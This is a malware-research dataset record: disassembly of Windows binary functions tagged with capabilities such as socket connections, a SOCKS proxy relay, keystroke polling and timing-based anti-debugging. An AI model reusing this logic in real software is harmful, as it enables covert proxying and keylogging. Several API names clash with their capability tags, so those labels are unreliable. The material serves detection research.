joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44d090
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.004040cc
mov eax, dword [ebp - 8]
call fcn.004040cc
xor eax, eax
push ebp
push 0x44d1cc
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.0044cf0c
lea eax, [ebp - 4]
mov edx, dword [ebp - 0xc]
call fcn.00403d30
push 0x44d1dc
call sub.wsock32.dll_getprotobyname
movsx eax, word [eax + 8]
push eax
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov dword [edi + 0x10], esi
inc esi
jne 0x44d103
xor ebx, ebx
jmp 0x44d1b1
mov word [ebp - 0x1c], 2
push 0x44d1dc
mov eax, dword [ebp - 8]
call fcn.004040dc
push eax
call sub.wsock32.dll_getservbyname
mov esi, eax
test esi, esi
jne 0x44d142
mov eax, dword [ebp - 8]
call fcn.00408c28
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x1a], ax
mov eax, dword [ebp - 8]
call fcn.00408c28
mov word [edi + 4], ax
jmp 0x44d158
mov ax, word [esi + 8]
mov word [ebp - 0x1a], ax
mov ax, word [esi + 8]
push eax
call sub.wsock32.dll_ntohs
mov word [edi + 4], ax
mov eax, dword [ebp - 4]
call fcn.004040dc
mov esi, eax
push esi
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cdq
cmp edx, 0
jne 0x44d191
cmp eax, 0xffffffff
jne 0x44d191
push esi
call sub.wsock32.dll_gethostbyname
test eax, eax
jne 0x44d187
xor ebx, ebx
jmp 0x44d1b1
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
push 0x10
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [edi + 0x10]
push eax
call sub.wsock32.dll_connect
test eax, eax
je 0x44d1a6
xor ebx, ebx
lea eax, [edi + 0xc]
mov edx, dword [ebp - 4]
call fcn.00403cec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d1d3
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403cbc
ret

Function at 0x44d1e0
Capabilities:
Get socket status

Disassembly:
add esp, 0xfffffefc
mov dword [esp], 1
mov eax, dword [eax + 0x10]
mov dword [esp + 4], eax
push 0
push 0
push 0
lea eax, [esp + 0xc]
push eax
push 0
call sub.wsock32.dll_select
add esp, 0x104
ret
Function at 0x457a30
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
mov edx, pe_nt_image_headers32
call fcn.00407400
ret
Function at 0x463d90
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x463dbe
mov eax, ebx
call fcn.00464834
cmp dword [ebx + 0x3c], 0
je 0x463db7
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x463e2f
mov edx, dword [ebx + 0x1a6]
cmp dword [edx + 0x10], 0
je 0x463e21
cmp dword [ebx + 8], 0
je 0x463de0
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1a6]
call dword [edx]
test eax, eax
jne 0x463df2
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x463e21
cmp dword [ebx + 8], 0
je 0x463dd3
cmp eax, 3
je 0x463e05
dec eax
jne 0x463dd3
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x463dd3
mov edx, dword [ebx + 0x132]
add dword [eax + 8], edx
jmp 0x463dd3
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x463e4d
cmp dword [ebx + 0x10], 0xcc
je 0x463e4d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00463e58
pop ebx
ret

Function at 0x484fc4
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x48504d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4a0130
push 0x101
call sub.wsock32.dll_WSAStartup
mov ebx, eax
test ebx, ebx
je 0x485037
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.0040a03c
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0xb
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], 0
mov eax, 0x485064
mov dword [ebp - 8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x18]
push eax
push 2
mov ecx, dword [0x49ee44]
mov dl, 1
mov eax, dword [0x484880]
call fcn.0040a974
call fcn.004036c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485054
lea eax, [ebp - 0x1c]
call fcn.00403c98
ret

Function at 0x4856bc
Capabilities:
Connect socket

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.004855e0
mov cl, 1
mov edx, esi
mov eax, esi
mov bx, 0xffff
call fcn.0040314c
push 0x10
lea eax, [esi + 0x18]
push eax
mov eax, dword [esi + 4]
push eax
call sub.wsock32.dll_connect
mov edx, 0x485720
call fcn.00484f0c
mov byte [esi + 0x29], 0
test byte [esi + 0x28], 0x10
jne 0x485712
cmp dword [esi + 4], 0xffffffff
setne al
mov byte [esi + 8], al
mov cl, 2
mov edx, esi
mov eax, esi
mov bx, 0xffff
call fcn.0040314c
pop esi
pop ebx
ret
Function at 0x485744
Capabilities:
Resolve dns

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, edx
mov eax, ebx
call fcn.004040dc
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 4
call fcn.00402c04
test ebx, ebx
je 0x48578f
mov eax, ebx
mov edx, dword [eax + 0xc]
mov edx, dword [edx]
mov cl, byte [edx]
mov byte [esp + 4], cl
mov cl, byte [edx + 1]
mov byte [esp + 5], cl
mov cl, byte [edx + 2]
mov byte [esp + 6], cl
mov al, byte [edx + 3]
mov byte [esp + 7], al
mov eax, dword [esp + 4]
mov dword [esp], eax
mov eax, dword [esp]
pop ecx
pop edx
pop ebx
ret

Function at 0x48586c
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x48589d
mov ecx, dword [0x49ed68]
mov dl, 1
mov eax, dword [0x484880]
call fcn.0040a938
call fcn.004036c8
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x4858ca
mov ecx, dword [0x49ed0c]
mov dl, 1
mov eax, dword [0x484880]
call fcn.0040a938
call fcn.004036c8
xor eax, eax
push ebp
push 0x485949
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov bx, 0xffff
call fcn.0040314c
cmp byte [ebp + 8], 0
je 0x485925
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.004857d4
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 4]
call fcn.004856bc
jmp 0x48593f
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 0
push 1
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.004851f8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x485966
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x485b2c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00485478
xor edx, edx
push ebp
push 0x485c8c
push dword fs:[edx]
mov dword fs:[edx], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x485c76
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x485b76
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x485b80
call fcn.00403768
jmp 0x485c93
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041097c
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 4]
mov ebx, eax
test ebx, ebx
jle 0x485c6b
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
cmp eax, 0xffffffff
jne 0x485c29
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x485c19
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov bx, 0xfffe
call fcn.0040314c
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.00485ae4
pop ecx
mov eax, dword [ebp - 4]
mov dl, byte [0x485c9c]
cmp dl, byte [eax + 0x28]
je 0x485c72
call fcn.0040a820
jmp 0x485c72
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0xc]
call fcn.0041098c
jmp 0x485c72
cmp eax, ebx
jge 0x485c42
mov edx, dword [ebp - 0xc]
add edx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041098c
jmp 0x485b80
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041097c
mov ebx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.00410998
cmp ebx, eax
jne 0x485b80
push ebp
call fcn.00485ae4
pop ecx
jmp 0x485c72
push ebp
call fcn.00485ae4
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x485c93
mov eax, dword [ebp - 4]
call fcn.00485484
ret
mov al, byte [ebp - 5]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x487350
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x48735a
mov eax, dword [esp + 0x2000]
add esp, 0xfffffefc
mov esi, edx
mov ebx, eax
lea edi, [esp + 0x2004]
mov ebp, esp
mov eax, edi
call fcn.00407798
mov edx, edi
mov eax, ebx
call fcn.00407788
mov edx, edi
mov eax, esi
call fcn.00407788
push 0
push 0
push 0
push edi
lea eax, [ebx + 1]
push eax
call sub.wsock32.dll_select
mov eax, ebp
mov edx, 0x2000
call fcn.00407400
mov edx, edi
mov eax, ebx
call fcn.00407770
cmp al, 1
jne 0x4873ef
push 0
push 0x2000
push ebp
push ebx
call sub.wsock32.dll_recv
cmp eax, 0xffffffff
je 0x48743f
test eax, eax
je 0x48743f
mov byte [ebp + eax], 0
push 0
push eax
push ebp
push esi
call sub.wsock32.dll_send
cmp eax, 0xffffffff
je 0x48743f
test eax, eax
je 0x48743f
mov eax, ebp
mov edx, 0x2000
call fcn.00407400
mov edx, edi
mov eax, esi
call fcn.00407770
cmp al, 1
jne 0x48737e
push 0
push 0x2000
push ebp
push esi
call sub.wsock32.dll_recv
cmp eax, 0xffffffff
je 0x48743f
test eax, eax
je 0x48743f
mov byte [ebp + eax], 0
push 0
push eax
push ebp
push ebx
call sub.wsock32.dll_send
cmp eax, 0xffffffff
je 0x48743f
test eax, eax
jne 0x48737e
mov edx, esi
mov eax, ebx
call fcn.0048733c
xor eax, eax
add esp, 0x2108
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x487660
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffc8
mov ebx, edx
mov edi, eax
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x487684
or eax, 0xffffffff
jmp 0x487715
mov word [esp], 2
mov ax, word [ebx + 2]
mov word [esp + 2], ax
mov eax, dword [ebx + 4]
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
jne 0x4876e1
mov byte [esp + 0x10], 0
mov byte [esp + 0x11], 0x5b
mov ax, word [ebx + 2]
mov word [esp + 0x12], ax
mov eax, dword [ebx + 4]
mov dword [esp + 0x14], eax
push 0
push 8
lea eax, [esp + 0x18]
push eax
push edi
call sub.wsock32.dll_send
mov edx, esi
mov eax, edi
call fcn.0048733c
or eax, 0xffffffff
jmp 0x487715
mov byte [esp + 0x10], 0
mov byte [esp + 0x11], 0x5a
mov ax, word [ebx + 2]
mov word [esp + 0x12], ax
mov eax, dword [ebx + 4]
mov dword [esp + 0x14], eax
push 0
push 8
lea eax, [esp + 0x18]
push eax
push edi
call sub.wsock32.dll_send
mov edx, esi
mov eax, edi
call fcn.00487350
xor eax, eax
add esp, 0x38
pop edi
pop esi
pop ebx
ret
Function at 0x48771c
Capabilities:
Create tcp socket
Get local ipv4 addresses
Get socket information
Send data
Send data on socket
Start tcp server

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff10
mov esi, eax
lea eax, [esp + 0x70]
mov edx, 0x80
call fcn.00407400
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x48774f
or eax, 0xffffffff
jmp 0x487830
mov dword [esp + 4], 0x10
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x2c]
push eax
push esi
call sub.wsock32.dll_getsockname
mov word [esp + 8], 2
mov word [esp + 0xa], 0
xor eax, eax
mov dword [esp + 0xc], eax
push 0x10
lea eax, [esp + 0xc]
push eax
push ebx
call sub.wsock32.dll_bind
test eax, eax
je 0x487794
or eax, 0xffffffff
jmp 0x487830
mov dword [esp + 4], 0x10
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x1c]
push eax
push ebx
call sub.wsock32.dll_getsockname
mov byte [esp + 0x48], 4
mov byte [esp + 0x49], 0x5a
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x4c], eax
mov ax, word [esp + 0x1a]
mov word [esp + 0x4a], ax
push 0
push 8
lea eax, [esp + 0x50]
push eax
push esi
call sub.wsock32.dll_send
push 1
push ebx
call sub.wsock32.dll_listen
mov dword [esp], 0x10
push esp
lea eax, [esp + 0x3c]
push eax
push ebx
call sub.wsock32.dll_accept
mov edi, eax
mov byte [esp + 0x48], 4
mov byte [esp + 0x49], 0x5a
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x4c], eax
mov ax, word [esp + 0x3a]
mov word [esp + 0x4a], ax
push 0
push 8
lea eax, [esp + 0x50]
push eax
push esi
call sub.wsock32.dll_send
mov edx, esi
mov eax, edi
call fcn.00487350
push ebx
call sub.wsock32.dll_closesocket
xor eax, eax
add esp, 0xf0
pop edi
pop esi
pop ebx
ret

Function at 0x487d4c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff70
mov edi, edx
mov ebx, eax
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x487d73
or eax, 0xffffffff
jmp 0x487e33
mov word [esp], 2
mov ax, word [ebx + 2]
mov word [esp + 2], ax
mov eax, dword [ebx + 4]
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
jne 0x487de3
mov byte [esp + 0x10], 5
mov byte [esp + 0x11], 5
mov byte [esp + 0x12], 0
mov byte [esp + 0x13], 1
lea edx, [esp + 0x14]
lea eax, [ebx + 4]
mov ecx, 4
call fcn.004028a4
lea edx, [esp + 0x18]
lea eax, [ebx + 2]
mov ecx, 2
call fcn.004028a4
push 0
push 0xa
lea eax, [esp + 0x18]
push eax
push edi
call sub.wsock32.dll_send
or eax, 0xffffffff
jmp 0x487e33
mov byte [esp + 0x10], 5
mov byte [esp + 0x11], 0
mov byte [esp + 0x12], 0
mov byte [esp + 0x13], 1
lea edx, [esp + 0x14]
lea eax, [ebx + 4]
mov ecx, 4
call fcn.004028a4
lea edx, [esp + 0x18]
lea eax, [ebx + 2]
mov ecx, 2
call fcn.004028a4
push 0
push 0xa
lea eax, [esp + 0x18]
push eax
push edi
call sub.wsock32.dll_send
mov edx, esi
mov eax, edi
call fcn.00487350
xor eax, eax
add esp, 0x90
pop edi
pop esi
pop ebx
ret
Function at 0x487e40
Capabilities:
Create tcp socket
Get local ipv4 addresses
Get socket information
Send data
Send data on socket
Start tcp server

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff38
mov esi, ecx
lea eax, [esp + 0x48]
mov edx, 0x80
call fcn.00407400
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x487e73
or eax, 0xffffffff
jmp 0x487f8c
mov dword [esp + 4], 0x10
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x2c]
push eax
push esi
call sub.wsock32.dll_getsockname
mov word [esp + 8], 2
mov word [esp + 0xa], 0
xor eax, eax
mov dword [esp + 0xc], eax
push 0x10
lea eax, [esp + 0xc]
push eax
push ebx
call sub.wsock32.dll_bind
test eax, eax
je 0x487eb8
or eax, 0xffffffff
jmp 0x487f8c
mov dword [esp + 4], 0x10
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x1c]
push eax
push ebx
call sub.wsock32.dll_getsockname
mov byte [esp + 0x48], 5
mov byte [esp + 0x49], 0
mov byte [esp + 0x4a], 0
mov byte [esp + 0x4b], 1
lea edx, [esp + 0x4c]
lea eax, [esp + 0x2c]
mov ecx, 4
call fcn.004028a4
lea edx, [esp + 0x50]
lea eax, [esp + 0x1a]
mov ecx, 2
call fcn.004028a4
push 0
push 0xa
lea eax, [esp + 0x50]
push eax
push esi
call sub.wsock32.dll_send
push 1
push ebx
call sub.wsock32.dll_listen
mov dword [esp], 0x10
push esp
lea eax, [esp + 0x3c]
push eax
push ebx
call sub.wsock32.dll_accept
mov edi, eax
mov byte [esp + 0x48], 5
mov byte [esp + 0x49], 0
mov byte [esp + 0x4a], 0
mov byte [esp + 0x4b], 1
lea edx, [esp + 0x4c]
lea eax, [esp + 0x3c]
mov ecx, 4
call fcn.004028a4
lea edx, [esp + 0x50]
lea eax, [esp + 0x3a]
mov ecx, 2
call fcn.004028a4
push 0
push 0xa
lea eax, [esp + 0x50]
push eax
push esi
call sub.wsock32.dll_send
mov edx, esi
mov eax, edi
call fcn.00487350
push ebx
call sub.wsock32.dll_closesocket
xor eax, eax
add esp, 0xc8
pop edi
pop esi
pop ebx
ret
Function at 0x48b5a8
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff54
push ebx
push esi
push edi
mov dword [ebp - 0xac], 0x94
lea eax, [ebp - 0xac]
push eax
call sub.user32.dll_InvalidateRect
cmp dword [ebp - 0x9c], 1
je 0x48b683
xor eax, eax
push ebp
push 0x48b66d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
push 0x20
call sub.user32.dll_GetMenuStringA
push eax
call sub.user32.dll_SetCursorPos
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x14]
push eax
push 0x48b68c
push 0
call sub.user32.dll_SetCursor
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xc], 2
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SetClassLongA
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xc], 2
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push ebx
call sub.user32.dll_SetClassLongA
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_FindWindowA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48b683
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x48edc8
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe94
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004040cc
xor eax, eax
push ebp
push 0x48efee
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, ebx
mov dl, 1
mov eax, dword [0x447478]
call fcn.0043e104
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0043bddc
mov dl, 1
mov eax, ebx
call fcn.004498a4
lea eax, [ebp - 0xc]
mov edx, 0x48f004
call fcn.00403d30
lea edx, [ebp - 0x158]
mov eax, dword [ebp - 4]
call fcn.0048ed14
mov edx, dword [ebp - 0x158]
lea eax, [ebp - 4]
call fcn.00403d30
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x15c]
mov ecx, 0x48f010
mov edx, dword [ebp - 4]
call fcn.00403f64
mov eax, dword [ebp - 0x15c]
call fcn.004040dc
push eax
call sub.user32.dll_GetKeyState
mov esi, eax
cmp esi, 0xffffffff
je 0x48ef8d
mov al, byte [ebp - 0x128]
cmp al, 0x2e
je 0x48ef1d
mov eax, dword [ebp - 0x154]
and eax, 0x10
cmp eax, 0x10
jne 0x48eef6
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.00403ec8
mov ecx, dword [ebp - 0x164]
lea eax, [ebp - 0x160]
mov edx, 0x48f01c
call fcn.00403f64
mov edx, dword [ebp - 0x160]
mov eax, dword [ebx + 0x1f0]
mov ecx, dword [eax]
call dword [ecx + 0x34]
jmp 0x48ef1d
lea eax, [ebp - 0x168]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.00403ec8
mov edx, dword [ebp - 0x168]
mov eax, dword [ebx + 0x1f0]
mov ecx, dword [eax]
call dword [ecx + 0x34]
lea eax, [ebp - 0x154]
push eax
push esi
call sub.user32.dll_GetKeyboardLayout
neg eax
sbb eax, eax
neg eax
test al, al
jne 0x48ee9f
push esi
call sub.user32.dll_GetKeyNameTextA
mov eax, dword [ebx + 0x1f0]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x48ef98
inc esi
mov dword [ebp - 0x14], 0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x16c]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebx + 0x1f0]
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x16c]
push dword [ebp - 0xc]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403fd8
inc dword [ebp - 0x14]
dec esi
jne 0x48ef58
jmp 0x48ef98
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.00403d30
mov eax, ebx
call fcn.00402f70
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00403f18
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.00404120
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48eff5
lea eax, [ebp - 0x16c]
mov edx, 6
call fcn.00403cbc
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00403cbc
lea eax, [ebp - 4]
call fcn.00403c98
ret
Function at 0x48fe98
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x49002f
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x48fff6
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x40], 0x10000
xor eax, eax
mov dword [ebp - 0x3c], eax
fild qword [ebp - 0x40]
fmul dword [0x490040]
fistp qword [ebp - 0x40]
wait
call sub.user32.dll_InsertMenuA
mov ebx, eax
call sub.user32.dll_InsertMenuA
cmp ebx, eax
je 0x48fee5
rdtsc
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
call sub.user32.dll_InsertMenuA
lea edx, [ebx + 0x3e8]
cmp eax, edx
jb 0x48fef6
rdtsc
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x44], eax
fild qword [ebp - 0x48]
fistp qword [ebp - 0x30]
wait
cmp dword [ebp - 4], 0
jae 0x48ff31
fild qword [ebp - 0x30]
fild qword [ebp - 0x40]
faddp st(1)
fistp qword [ebp - 0x30]
wait
mov eax, dword [ebp - 8]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x44], eax
fild qword [ebp - 0x48]
fistp qword [ebp - 0x38]
wait
cmp dword [ebp - 8], 0
jae 0x48ff55
fild qword [ebp - 0x38]
fild qword [ebp - 0x40]
faddp st(1)
fistp qword [ebp - 0x38]
wait
fild qword [ebp - 0x30]
fild qword [ebp - 0x40]
fmulp st(1)
fild qword [ebp - 0x38]
faddp st(1)
fistp qword [ebp - 0x20]
wait
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x44], eax
fild qword [ebp - 0x48]
fistp qword [ebp - 0x30]
wait
cmp dword [ebp - 0xc], 0
jae 0x48ff8a
fild qword [ebp - 0x30]
fild qword [ebp - 0x40]
faddp st(1)
fistp qword [ebp - 0x30]
wait
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x44], eax
fild qword [ebp - 0x48]
fistp qword [ebp - 0x38]
wait
cmp dword [ebp - 0x10], 0
jae 0x48ffae
fild qword [ebp - 0x38]
fild qword [ebp - 0x40]
faddp st(1)
fistp qword [ebp - 0x38]
wait
fild qword [ebp - 0x30]
fild qword [ebp - 0x40]
fmulp st(1)
fild qword [ebp - 0x38]
faddp st(1)
fistp qword [ebp - 0x28]
wait
fild qword [ebp - 0x28]
fild qword [ebp - 0x20]
fsubp st(1)
fdiv dword [0x490044]
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x4c]
call fcn.00409abc
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov ecx, 0x490050
call fcn.00403f64
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490019
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x490036
lea eax, [ebp - 0x4c]
call fcn.00403c98
ret